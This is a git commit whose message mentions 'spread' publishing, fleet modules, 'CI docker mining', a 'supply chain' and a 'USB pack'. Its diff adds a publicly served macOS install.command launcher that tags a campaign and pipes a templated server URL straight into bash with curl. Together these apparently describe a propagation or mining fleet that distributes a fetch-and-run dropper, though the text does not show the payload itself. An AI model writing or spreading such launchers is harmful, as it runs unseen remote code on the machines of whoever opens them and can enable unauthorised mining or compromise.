feat: alive UI wave, galaxy presence, spread and fleet enhancements

Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.

server/web/public/spread/install.command

@@ -0,0 +1,5 @@
+#!/bin/bash
+# macOS double-click launcher — chmod +x install.command
+export AETHER_CAMPAIGN='{{CAMPAIGN}}'
+export AETHER_UTM='{{CAMPAIGN}}'
+curl -sL '{{SERVER_URL}}/install.command{{QUERY_SUFFIX}}' | bash